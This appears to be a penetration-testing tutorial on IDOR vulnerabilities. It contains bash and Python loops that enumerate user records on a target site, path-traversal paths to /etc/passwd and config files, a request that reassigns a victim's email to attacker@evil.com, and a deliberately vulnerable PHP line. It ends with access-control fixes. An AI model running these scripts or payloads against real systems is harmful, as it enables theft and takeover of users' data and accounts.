IDOR Insecure Direct Object Reference Testing

Overview

Vulnerability Principle

// Directly use user input ID
$file = file_get_contents('/files/' . $_GET['id'] . '.pdf');

Testing Methods

1. Identify Direct Object References

• User ID
• File ID/filename
• Order ID
• Document ID
• Account ID
• Record ID

• URL parameters
• POST data
• Cookie values
• HTTP headers
• File paths

2. Enumeration Testing

/user?id=1
/user?id=2
/user?id=3

/user?id=550e8400-e29b-41d4-a716-446655440000
/user?id=550e8400-e29b-41d4-a716-446655440001

/files/document1.pdf
/files/document2.pdf
/files/invoice_2024_001.pdf

3. Horizontal Privilege Testing

Current User ID: 100
Test: /user?id=101
Test: /user?id=102

/files/user100_document.pdf
Test: /files/user101_document.pdf

4. Vertical Privilege Testing

/admin/users?id=1
/admin/settings
/admin/logs

Exploitation Techniques

User Information Leakage

# Sequential enumeration
for i in {1..1000}; do
  curl "https://target.com/user?id=$i"
done

# Observe response differences

File Access

/files/invoice_12345.pdf
/files/report_67890.pdf
/files/contract_11111.pdf

/files/../admin/config.php
/files/../../etc/passwd

Data Modification

POST /api/user/update
Content-Type: application/json

{
  "id": 101,
  "email": "attacker@evil.com"
}

Batch Operations

import requests

for user_id in range(1, 1000):
    response = requests.get(f'https://target.com/api/user/{user_id}')
    if response.status_code == 200:
        print(f"User {user_id}: {response.json()}")

Bypassing Techniques

ID Obfuscation

Original ID: 123
Encoded: MTIz
URL: /user?id=MTIz

Original ID: 123
Hash: 202cb962ac59075b964b07152d234b70
URL: /user?id=202cb962ac59075b964b07152d234b70

Parameter Name Obfuscation

/user?id=123
/user?uid=123
/user?user_id=123
/user?account=123

HTTP Method Bypass

GET /user/123
POST /user/123
PUT /user/123
PATCH /user/123

Path Obfuscation

/api/v1/user/123
/api/user/123
/user/123
/users/123

Tool Usage

Burp Suite

1. Intercept the request
2. Send to Intruder
3. Mark the ID parameter
4. Use numeric sequence or custom list
5. Observe response differences

1. Manually modify the ID
2. Test different values
3. Observe the response

OWASP ZAP

# Use ZAP for IDOR scanning
zap-cli active-scan --scanners all http://target.com

Python Script

import requests
import json

def test_idor(base_url, user_id_range):
    for user_id in user_id_range:
        url = f"{base_url}/user?id={user_id}"
        response = requests.get(url)
        
        if response.status_code == 200:
            data = response.json()
            print(f"User {user_id}: {data.get('email', 'N/A')}")

test_idor("https://target.com", range(1, 100))

Verification and Reporting

Verification Steps

1. Confirm unauthorized resource access is possible
2. Verify ability to read, modify, or delete other users' data
3. Assess impact (data leakage, privacy violations, etc.)
4. Record complete Proof of Concept (POC)

Reporting Key Points

• Vulnerability location and resource identifiers
• Unauthorized resources accessible
• Complete exploitation steps and PoC
• Fix recommendations (access control, resource mapping, etc.)

Protection Measures

Recommended Solutions

1. Access Control Verification
   python

   def get_user_data(user_id, current_user_id):
       # Verify permissions
       if user_id != current_user_id:
           raise PermissionDenied("Cannot access other user's data")
       
       # Return data
       return db.get_user(user_id)

2. Indirect Object Reference
   python

   # Use mapping table
   user_mapping = {
       'abc123': 100,
       'def456': 101,
       'ghi789': 102
   }
   
   def get_user(mapped_id):
       real_id = user_mapping.get(mapped_id)
       if not real_id:
           raise NotFound()
       return db.get_user(real_id)

3. Role-Based Access Control
   python

   def check_permission(user, resource):
       if user.role == 'admin':
           return True
       if resource.owner_id == user.id:
           return True
       return False

4. Resource Ownership Verification
   python

   def update_user_data(user_id, data, current_user):
       user = db.get_user(user_id)
       
       # Verify ownership
       if user.id != current_user.id and current_user.role != 'admin':
           raise PermissionDenied()
       
       # Update data
       db.update_user(user_id, data)

5. Use Unpredictable Identifiers
   python

   import uuid
   
   # Use UUID instead of sequential ID
   resource_id = str(uuid.uuid4())

6. Principle of Least Privilege
   • Only return data the user is authorized to access
   • Use data filtering
   • Limit the scope of accessible resources

Notes

• Only perform in authorized testing environments
• Avoid accessing or modifying real user data
• Note differences in access control for different resources
• Pay attention to request frequency during testing to avoid triggering protections